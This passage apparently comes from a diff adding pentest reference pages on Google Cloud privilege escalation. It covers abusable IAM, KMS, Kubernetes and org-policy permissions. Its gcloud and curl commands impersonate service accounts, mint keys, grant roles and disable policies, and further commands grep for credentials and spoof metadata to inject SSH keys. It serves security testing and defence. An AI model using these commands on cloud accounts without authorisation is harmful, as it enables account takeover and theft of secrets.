**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectively are **also** **necessary** to perform those privilege escalation actions.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
|
||||
|
||||
**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectively are also **necessary** to perform those privilege escalation actions.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
|
||||
For more information check:
|
||||
|
||||
As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
As **explained in this page**, with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
# GCP - Deploymentmaneger Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## deploymentmanager
|
||||
|
||||
### `deploymentmanager.deployments.create`
|
||||
|
||||
This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it.
|
||||
|
||||
You could actually **launch any resource** listed in `gcloud deployment-manager types list`
|
||||
|
||||
In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
|
||||
|
||||
### `deploymentmanager.deployments.update`
|
||||
|
||||
This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful)
|
||||
|
||||
Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
|
||||
|
||||
### `deploymentmanager.deployments.setIamPolicy`
|
||||
|
||||
This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previous _deploymentmanager.deployments.create_ section.
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,144 @@
|
||||
# GCP - IAM Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Find more information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
An attacker with the mentioned permissions will be able to update a role assigned to you and give you extra permissions to other resources like:
|
||||
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
|
||||
You can find a script to automate the **creation, exploit and cleaning of a vuln environment here** and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
An attacker with the mentioned permissions will be able to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
|
||||
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **create a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account.
|
||||
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
If you have the **`iam.serviceAccounts.implicitDelegation`** permission on a Service Account that has the **`iam.serviceAccounts.getAccessToken`** permission on a third Service Account, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
|
||||
|
||||

|
||||
|
||||
Note that according to the [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), the delegation of `gcloud` only works to generate a token using the [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. So here you have how to get a token using the API directly:
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
|
||||
-d '{
|
||||
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **sign of arbitrary payloads in GCP**. So it'll be possible to **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **sign well-formed JSON web tokens (JWTs)**. The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes.
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
An attacker with the mentioned permissions will be able to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA:
|
||||
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountTokenCreator"
|
||||
|
||||
# If you still have prblem grant yourself also this permission
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
An attacker with the mentioned permissions will be able to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource.
|
||||
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT.
|
||||
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
|
||||
Then you can just use it to access the service with:
|
||||
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
|
||||
Some services that support authentication via this kind of tokens are:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,88 @@
|
||||
# GCP - KMS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Info about KMS:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Note that in KMS the **permission** are not only **inherited** from Orgs, Folders and Projects but also from **Keyrings**.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
You can use this permission to **decrypt information with the key** you have this permission over.
|
||||
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
--keyring=[KEYRING_NAME] \
|
||||
--key=[KEY_NAME] \
|
||||
--version=[KEY_VERSION] \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
An attacker with this permission could **give himself permissions** to use the key to decrypt information.
|
||||
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
--keyring [KEYRING_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Here's a conceptual breakdown of how this delegation works:
|
||||
|
||||
1. **Service Account A** has direct access to decrypt using a specific key in KMS.
|
||||
2. **Service Account B** is granted the `useToDecryptViaDelegation` permission. This allows it to request KMS to decrypt data on behalf of Service Account A.
|
||||
|
||||
The usage of this **permission is implicit in the way that the KMS service checks permissions** when a decryption request is made.
|
||||
|
||||
When you make a standard decryption request using the Google Cloud KMS API (in Python or another language), the service **checks whether the requesting service account has the necessary permissions**. If the request is made by a service account with the **`useToDecryptViaDelegation`** permission, KMS verifies whether this **account is allowed to request decryption on behalf of the entity that owns the key**.
|
||||
|
||||
#### Setting Up for Delegation
|
||||
|
||||
1. **Define the Custom Role**: Create a YAML file (e.g., `custom_role.yaml`) that defines the custom role. This file should include the `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` permission. Here's an example of what this file might look like:
|
||||
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
|
||||
2. **Create the Custom Role Using the gcloud CLI**: Use the following command to create the custom role in your Google Cloud project:
|
||||
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
|
||||
Replace `[YOUR_PROJECT_ID]` with your Google Cloud project ID.
|
||||
|
||||
3. **Grant the Custom Role to a Service Account**: Assign your custom role to a service account that will be using this permission. Use the following command:
|
||||
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
|
||||
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"
|
||||
|
||||
# Give this permission over the project to be able to impersonate any SA
|
||||
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
|
||||
Replace `[YOUR_PROJECT_ID]` and `[SERVICE_ACCOUNT_EMAIL]` with your project ID and the email of the service account, respectively.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
|
||||
Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible.
|
||||
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts.
|
||||
|
||||
As IAM is go granular, an account may have **read/write** privileges over a resource but **no list privileges**.
|
||||
|
||||
A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.
|
||||
|
||||
Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.
|
||||
|
||||
You may be able to find this bucket name inside a script (in bash, Python, Ruby...).
|
||||
|
||||
## Custom Metadata
|
||||
|
||||
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts.
|
||||
|
||||
Moreover, it's possible to add **userdata**, which is a script that will be **executed everytime** the machine is started or restarted and that can be **accessed from the metadata endpoint also.**
|
||||
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
Most of the following proposed permissions are **given to the default Compute SA,** the only problem is that the **default access scope prevents the SA from using them**. However, if **`cloud-platform`** **scope** is enabled or just the **`compute`** **scope** is enabled, you will be **able to abuse them**.
|
||||
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
|
||||
- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata)
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
|
||||
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
Check if other users have loggedin in gcloud inside the box and left their credentials in the filesystem:
|
||||
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
|
||||
These are the most interesting files:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### More API Keys regexes
|
||||
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
# Service account keys
|
||||
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Legacy GCP creds
|
||||
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Google API keys
|
||||
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Google OAuth tokens
|
||||
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Generic SSH keys
|
||||
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Signed storage URLs
|
||||
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Signed policy documents in HTML
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# GCP - Generic Permissions Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generic Interesting Permissions
|
||||
|
||||
### \*.setIamPolicy
|
||||
|
||||
If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.\
|
||||
This permission can also allow to **escalate to other principals** if the resource allow to execute code and the iam.ServiceAccounts.actAs is not necessary.
|
||||
|
||||
- _cloudfunctions.functions.setIamPolicy_
|
||||
- Modify the policy of a Cloud Function to allow yourself to invoke it.
|
||||
|
||||
There are tens of resources types with this kind of permission, you can find all of them in [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) searching for setIamPolicy.
|
||||
|
||||
### \*.create, \*.update
|
||||
|
||||
These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account.
|
||||
|
||||
### \*ServiceAccount\*
|
||||
|
||||
This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
# GCP - Network Docker Escape
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Initial State
|
||||
|
||||
In both writeups where this technique is specified, the attackers managed to get **root** access inside a **Docker** container managed by GCP with access to the host network (and the capabilities **`CAP_NET_ADMIN`** and **`CAP_NET_RAW`**).
|
||||
|
||||
## Attack Explanation
|
||||
|
||||
On a Google Compute Engine instance, regular inspection of network traffic reveals numerous **plain HTTP requests** to the **metadata instance** at `169.254.169.254`. The [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), an open-source service, frequently makes such requests.
|
||||
|
||||
This agent is designed to **monitor changes in the metadata**. Notably, the metadata includes a **field for SSH public keys**. When a new public SSH key is added to the metadata, the agent automatically **authorizes** it in the `.authorized_key` file. It may also **create a new user** and add them to **sudoers** if needed.
|
||||
|
||||
The agent monitors changes by sending a request to **retrieve all metadata values recursively** (`GET /computeMetadata/v1/?recursive=true`). This request is designed to prompt the metadata server to send a response only if there's any change in the metadata since the last retrieval, identified by an Etag (`wait_for_change=true&last_etag=`). Additionally, a **timeout** parameter (`timeout_sec=`) is included. If no change occurs within the specified timeout, the server responds with the **unchanged values**.
|
||||
|
||||
This process allows the **IMDS** (Instance Metadata Service) to respond after **60 seconds** if no configuration change has occurred, creating a potential **window for injecting a fake configuration response** to the guest agent.
|
||||
|
||||
An attacker could exploit this by performing a **Man-in-the-Middle (MitM) attack**, spoofing the response from the IMDS server and **inserting a new public key**. This could enable unauthorized SSH access to the host.
|
||||
|
||||
### Escape Technique
|
||||
|
||||
While ARP spoofing is ineffective on Google Compute Engine networks, a [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) developed by [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) can be used for packet injection in the communication to inject the SSH user.
|
||||
|
||||
This version of rshijack allows inputting the ACK and SEQ numbers as command-line arguments, facilitating the spoofing of a response before the real Metadata server response. Additionally, a [**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) is used to return a **specially crafted payload**. This payload triggers the Google Guest Agent to **create a user `wouter`** with a specified public key in the `.authorized_keys` file.
|
||||
|
||||
The script uses the same ETag to prevent the Metadata server from immediately notifying the Google Guest Agent of different metadata values, thereby delaying the response.
|
||||
|
||||
To execute the spoofing, the following steps are necessary:
|
||||
|
||||
1. **Monitor requests to the Metadata server** using **tcpdump**:
|
||||
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
|
||||
Look for a line similar to:
|
||||
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
|
||||
2. Send the fake metadata data with the correct ETAG to rshijack:
|
||||
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
|
||||
This step authorizes the public key, enabling SSH connection with the corresponding private key.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# GCP - Orgpolicy Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## orgpolicy
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.
|
||||
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
|
||||
A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
